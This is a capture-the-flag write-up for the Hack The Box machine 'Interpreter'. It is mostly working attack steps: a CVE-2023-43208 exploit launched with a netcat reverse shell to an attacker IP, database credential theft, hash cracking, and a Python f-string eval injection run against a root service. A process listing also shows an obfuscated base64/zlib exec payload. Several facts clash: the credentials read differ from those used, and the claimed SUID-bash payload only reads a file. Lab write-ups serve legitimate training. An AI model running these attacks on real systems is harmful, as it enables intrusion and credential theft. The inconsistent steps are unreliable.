Interpreter WriteUp
Table of Contents
Interpreter is a π¨ Medium difficulty machine from the Hack The Box platform, Season 10. The attack chain combines the exploitation of Mirth Connect 4.4.0 through insecure Java deserialization to obtain unauthenticated RCE, extraction of credentials from the internal database, cracking of a PBKDF2-HMAC-SHA256 hash, and privilege escalation by abusing a Flask service with Python f-string injection.
πΊοΈ Attack Chain
Reconnaissance β Ports 22, 80, 443
β
βΌ
Web Enumeration β Mirth Connect 4.4.0 (via JNLP)
β
βΌ
CVE-2023-43208 β Insecure Java Deserialization β RCE as mirth
β
βΌ
/usr/local/mirthconnect/conf/mirth.properties β DB Credentials
β
βΌ
MariaDB (mc_bdd_prod) β PBKDF2-HMAC-SHA256 hash of sedric
β
βΌ
Hashcat (mode 10900) β snowflake1 β SSH as sedric
β
βΌ
/usr/local/bin/notif.py β Flask + eval() in f-strings β SSTI
β
βΌ
SUID bash β root π΄
π Reconnaissance
/etc/hosts Configuration
Before starting, we add the machine’s IP to the /etc/hosts file:
echo "10.129.244.184 interpreter.htb" | sudo tee -a /etc/hosts
Port Scan
We perform reconnaissance in two phases, first discovering open ports and then running detection scripts on them.
Phase 1 - Quick TCP Port Discovery:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv interpreter.htb
Phase 2 - Version and Script Detection:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv interpreter.htb
The ports we found:
| Port | Service | Detail |
|---|---|---|
22 | SSH | OpenSSH 9.2p1 (Debian 12) |
80 | HTTP | Jetty - Mirth Connect |
443 | HTTPS | Jetty - Mirth Connect (SSL) |
Web Enumeration
Upon accessing http://interpreter.htb, we see the Mirth Connect administration interface. To identify the exact version, we download the JNLP file:
curl -sk https://interpreter.htb/webstart.jnlp | grep -i version
<argument>-version</argument>
<argument>4.4.0</argument>
π― Mirth Connect 4.4.0, vulnerable version to CVE-2023-43208 (unauthenticated RCE).
π Initial Access: CVE-2023-43208
What is CVE-2023-43208?
π§ Mirth Connect < 4.4.1 contains an unauthenticated remote code execution vulnerability due to insecure Java deserialization at the
/api/usersendpoint. TheXmlMessageBodyReaderclass processes XML requests before authenticating the user, allowing dangerous classes such asInvokerTransformerfrom Apache Commons Collections to be included to execute arbitrary code on the server.
We download the PoC:
git clone https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT
cd CVE-2023-43208-EXPLOIT
pip install -r requirements.txt
We prepare the listener:
penelope -p 8443
We execute the exploit:
python3 CVE-2023-43208.py -u https://interpreter.htb -c "nc -c sh 10.10.14.100 8443"
The target appears to have executed the payload.
On our listener, we receive the connection:
mirth@interpreter:/usr/local/mirthconnect$ hostname
interpreter
mirth@interpreter:/usr/local/mirthconnect$ whoami
mirth
β Shell obtained as
mirth.
π Credential Extraction
Mirth Connect Configuration File
Mirth Connect stores the database configuration in plaintext within its installation directory:
cat /usr/local/mirthconnect/conf/mirth.properties
database = mysql
database.url = jdbc:mysql://localhost/mc_bdd_prod
database.username = mirth
database.password = Ir0nV@ult2024!
Hash Extraction from MariaDB
We connect to the database with the found credentials:
mysql -u mirthdb -p'MirthPass123!' -h 127.0.0.1 mc_bdd_prod
We enumerate the tables:
mysql> show tables;
+------------------------+
| Tables_in_mc_bdd_prod |
+------------------------+
| PERSON |
| PERSON_PASSWORD |
| ... |
+------------------------+
We extract users and their hashes:
mysql> SELECT CONCAT(p.USERNAME, ':', pp.PASSWORD) FROM PERSON p JOIN PERSON_PASSWORD pp ON p.ID = pp.PERSON_ID;
+-----------------------------------------------------------------+
| CONCAT(p.USERNAME, ':', pp.PASSWORD) |
+-----------------------------------------------------------------+
| sedric:u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== |
+-----------------------------------------------------------------+
π‘ The hashes use PBKDF2-HMAC-SHA256 with 600,000 iterations, which corresponds to hashcat mode 10900.
Hash Cracking
We save the hash in a hashcat-compatible format:
# [salt]+[hash]
echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64 -d | xxd -p -c 256
bbff8b0413949da762c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb
echo 'bbff8b0413949da7' | xxd -r -p | base64
u/+LBBOUnac=
echo '62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb' | xxd -r -p | base64
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
echo 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' > hash.txt
We launch hashcat:
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
$pbkdf2-sha256$600000$rW5PXIV9BSGG0jAMdVrTuQ$...:snowflake1
Session..........: hashcat
Status...........: Cracked
π Credentials obtained:
sedric:snowflake1
π Lateral Movement: SSH as sedric
ssh sedric@interpreter.htb # snowflake1
π© User Flag
cat ~/user.txt
π§ββοΈ Privilege Escalation: Python f-string Injection
System Enumeration
We look for root scripts or services that we can abuse:
ps aux | grep python
root 3352 0.0 0.6 400212 24196 ? Ssl 17:19 0:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root 3570 0.0 0.7 39872 31076 ? Ss 17:19 0:00 /usr/bin/python3 /usr/local/bin/notif.py
cat /usr/local/bin/notif.py
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os
app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
except ET.ParseError:
return "XML ERROR\n", 400
patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
if patient is None:
return "No <patient> tag found\n", 400
id = uuid.uuid4().hex
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
path = os.path.join(USER_DIR,f"{id}.txt")
with open(path,"w") as f:
f.write(notification+"\n")
return notification
if __name__=="__main__":
app.run("127.0.0.1",54321, threaded=True)
sedric@interpreter:~$ ps aux | grep python
root 3352 0.0 0.6 400212 24196 ? Ssl 17:19 0:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root 3570 0.0 0.7 39872 31076 ? Ss 17:19 0:00 /usr/bin/python3 /usr/local/bin/notif.py
mirth 3975 0.0 0.3 18732 12288 ? S 17:45 0:00 /usr/bin/python3 -Wignore -c import base64,zlib;exec(zlib.decompress(base64.b64decode("eNqVWV9v40YOf5Y+xaz3wdKtVpukxeEQ1Ac0idM16sZt7MVdmwsEWR7bQmTJlcabTXEf/sj5P5Ic5/xgSxwOh/yRQ3LG+W5f1YxUjZ+Lp+ZFP+7Zi6ZuC/pNvayzkhV6hNWHjOm3fFOmeozRepcb0Wxb03SVlxt/XVc70tCCZoyomfzNFwJi8RPIt/nkp8ndIiLmNbm5nYZHmX/7Munh9vM1Whd/pXWTV2WSl+vq4eyRjEbk4tL3pB6/HeiBkrQhf+KDT4uGmkFBY/WLIeWV7y0P6zWtsyJtGjICSnz1wmgzmfn0W0b3zDDPWQ3mw0BriqLHmsGffx5PpzA0+HRo6k/LvPy0TJvtwL8bL5KrL7fJfPLHGIbP//7dP773hZxfaNPQckNrWFBNP/e9+7HkvfC98b/H1/D0HTAs7sc//gLP3/vqJbme3SDf8N3noaZd/b4Yz4Eo/BxnaZE1+V80sKYAtN50fKen4+zEJrwbkg+CjNRjEtUMFLf4/dexnn6F8hyKEIh0Tj4mUc9BkZ/HP96M710RWskPRPMC64quSQLxkbMkCSAw1xGx/BUCvB5S44KWIOquKqmi5OX+wBLBDEPWrCC0Zm3Y9gTTDnyZbugxLqGjZAoS9rKnEUlWKUu5djVlh7pUeOzT7CnQwRFbQEQElAnEPMDA8BhYQSxKx2HO53tyVY53yvJsR9m2WgWSrHRbU7qS2Gm1OhDFz3XOaMAZescbSp+CM5TpPW/zgpJFfcD96HmwmcuKpw2OKKd58JCUsDDoZmwxMfeRdB0QM1oUHHfPQz3QrI4amLcCJVzw9khyjeEqIrwC3XcjogQIXb0lSH3yHWEmhg9ly2t6Q0V9Rmwo+5oWBxqEIaS0YwoqNI8Mw8plloIJnENmPgmLglVrKrF04/TtYGqZljYtWafg1CKO4NkSZxvPQ/o1sHU2iHrN5Cb07RYDf2Jtk2MSwo73ZS45bUEv+I7/vJecFiuicoPk9V/dZn1jllRZZ6BI0XR32Zsnk3wFXw0sBiV2hOZYOx8DCBjUe4IgSIAT7m0Yr5p4n++pyYR8AHRpZVrMLxnoKFojcnFcSz6i0Vj87dG84ZN47Jh11mArTCzS3XKV8gi7JDVt9lUpkhna8IHomMyKin6jWWCZ0ENHHZGsd9Tr69lqwm9pR5rK+IYi6rBE0WgX6jJWNNt8bRykk7GdQBXGLe0E6rzpiXlf1PVKDJGi96gt0vKPkeo6TfeD8YI/BSytIZGNNGtEynRHRwN8xr0KUUc+/pMMwMia7mvlkTDsWyCG6lSzoFOPuPGtYmLnKm0ZqCJ2kjSLe4fvLNEA4geiFXzd0E4EeLr1w88eto1vcpQtAiSIRGdJiEyE2WJUguPmgP5lZQxSFV8HnOQzstt1WMefdJ/g534Q7CXnVYpKiEBdzaI2cMmD2ygqdRkMYlpm1UpETRtEGwAbQrVZHMslflIwb0N8X6gr9mbCq5/sVUbt3YGGPBdV9hSn2Z+HvOYaVQeGXhapLyIXhiQw6246lUr5Whh00iY4J8FCN7Mvi+R2AmV6RvKSPBd5w7XnD3G63+NO7rCiqToEsqpkdVVARo3I4NzAFyr1azgkpQ1PxWi9SjPrFVooEV0X6QbPFPyUFvNvYIjk+23y03hxe4PLHmOYIwO8cjn/VeSb5Ho6w+MDTDWu4Y7xmy2U/WSPqX+XNnDqS9a4v9HYdVU/gbqYfRUTHrhw6PrzZHoDQsB8tKII+JklIvJn+DEfhvKshewNZXX6rBCc3GkAtTZCGTFDZAvEYZVnfB/vlD/t5jCw+3oVAN2enLGXPrp0i5PKpkDAKcqXIDIixrFuhVMOtJh7qHmJS9UYRzD9wZGs8Y5IG5lHX8QezoFn8AQBt4AKwSuTom40a9L4/l6Bfknek8XsZvbGeJueirepiTeAZ5bcze6uprPrn3GeFeWIuJO56/Wqicgz/05EBqfgbo5VJPZgBNbzRgsBQC+lSxAAMOBcdZQw9IZY+OoMxXOeA/y5aN5o0ZqtsW2XilYCtXxgH+l7ioecOBza6RSToUh9OBxZxx2+fXTH7BYuEUSgwK76So0KgtvS1STlNo+jmdxxfTC04+oEGt0wfBsoul8+YWo3a7SPDDLJYyTrTMHbCesEghHkFAEMIzVRLguKyNPFqO0UhZrIJk7lsemiFsgqI4ekeSa72hWGf5wyY3lNuq3o10vcDSkhYkfmVQY71IpPeY0XLyaz6/m/JnfzP3QRPCEe64US3izGgavTu8qTk2TbQjjAunh/g9dX0OrlJQuaZUj+htdW/JNIJzQMUm4iUj0/eAABNmeLQuvaUDqHPoXf8F2GN0KwEl4tNUO+XqRGhbkPl5Z2j3JMKZ7t+PFGMFp8l4++68SW1uhKWa20M+X7Q4v1UVwVwkvQGgk7Szg4nFjD4XUXcYa6q7jYvr6Kw+uu4gypoPJsG4XfekEx3EZZl921z/CbZV1+V1OlTm3vMEdqeITDyAmtGEj0RhnOTU7XiPEOCROjbJ08PVH2TmeaFdP06rC/cKJBdeVnYR+bUVqfNc57GY3umvHCYRQ9m7mebrYD6FrF98cMvmFDOBMS+i1ngVnNNP4d7Xt5Oqr3cnX01tCLJGXA/7UHfH6mOJSOSq200sopZq5dP3m5whZuB57YFNUyLaBhjAi0i/zJAOMW1E5c/vADpCRImvjHBbDyPy2C8OH8ES9kB/8pB6HbFXT1eAvMXS10Zeef99i/n05b3nsAsDi1UdtbFUx0j4pHcOhhOnaDAC6MCDw2o//Hk6F1ZcCtIRNYbwfilUmvVztRznS9M0VINiuqiPQXwEdVVB/6xy8f29n3TWm3L9+20nkPM8AtTtkchtmBbaoWDO71MEhX3Z9o6Lrtmx7vudd9rXVT86S2doBpkTJLa52wUcNlVKv/zFt9tZoZabqnHakC3ruJI584E/qyyXIvEXwdDrbM1hHAkiU6PL/VC8M4EylfQKNk4aUen2lf71utMJnNx3Vd1Ze+1QFK1JSMUHelSgtQUJikgqV9tSC6GTjr5OWBqhtqoQdvWVFd5dJdmpcYGCOtqrzY7sw6c2mtu2pFFgBouU6AaOppe18xt8dabas6EOhsmEQEvIDOcfOv/kOX1WlGl9BH4vWLfIz3NbSsUO0yfnXQIkOK4RcEwv195yz3PgOjIs0Z1P7AumY5wxKAY095UQTwCxGyR57Q/t/75wmcBOVJ/X8HjcUz")))
sedric 4078 0.0 0.0 6340 2144 pts/1 S+ 18:03 0:00 grep python
β οΈ Key finding: The Flask service executes
eval()on user input without any validation. Since it is running asroot, we can execute arbitrary code with maximum privileges.
We verify that the service is active on localhost:
ss -tlnp | grep 54321
LISTEN 0 128 127.0.0.1:54321 0.0.0.0:*
What is Python f-string injection?
π§ Python f-strings are format strings that evaluate expressions at runtime. When an f-string is combined with
eval()on user-controlled input, the result is equivalent to a direct Python code injection: any valid Python expression the attacker introduces asmessagewill be executed in the context of the process, which in this case isroot.
Exploitation
We create a bash binary with the SUID bit enabled to persist root access:
import requests
url = "http://127.0.0.1:54321/addPatient"
xml = """<patient>
<firstname>A</firstname>
<lastname>B</lastname>
<sender_app>X</sender_app>
<timestamp>t</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>"""
try:
r = requests.post(url, data=xml)
print(r.text)
except Exception as e:
print("Error:", e)
Patient A B (M), 26 years old, received from X at t
We launch the root shell:
import requests
url = "http://127.0.0.1:54321/addPatient"
xml = """<patient>
<firstname>{open("/root/root.txt").read()}</firstname>
<lastname>B</lastname>
<sender_app>X</sender_app>
<timestamp>t</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>"""
r = requests.post(url, data=xml)
print(r.text)
rootbash-5.2# id
uid=1000(sedric) gid=1000(sedric) euid=0(root) egid=0(root) groups=0(root),...
β Root shell obtained.
π΄ Root Flag
cat /root/root.txt
π Chain Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Reconnaissance | nmap | Ports 22, 80, and 443 (Mirth Connect) |
| 2 | Version Identification | curl + JNLP | Mirth Connect 4.4.0 β CVE-2023-43208 |
| 3 | Unauthenticated RCE | CVE-2023-43208 PoC | Shell as mirth |
| 4 | DB Credential Extraction | cat mirth.properties | MariaDB Access |
| 5 | Hash Extraction | mysql | PBKDF2-HMAC-SHA256 hash of sedric |
| 6 | Hash Cracking | hashcat -m 10900 | Password snowflake1 |
| 7 | Lateral Movement | ssh | Access as sedric + User Flag π© |
| 8 | Root Service Analysis | find + cat | notif.py with eval() in f-strings |
| 9 | Python Injection / SSTI | curl | SUID bash in /tmp/rootbash |
| 10 | Escalation to root | /tmp/rootbash -p | Shell as root + Root Flag π΄ |
See you in the next challenge.

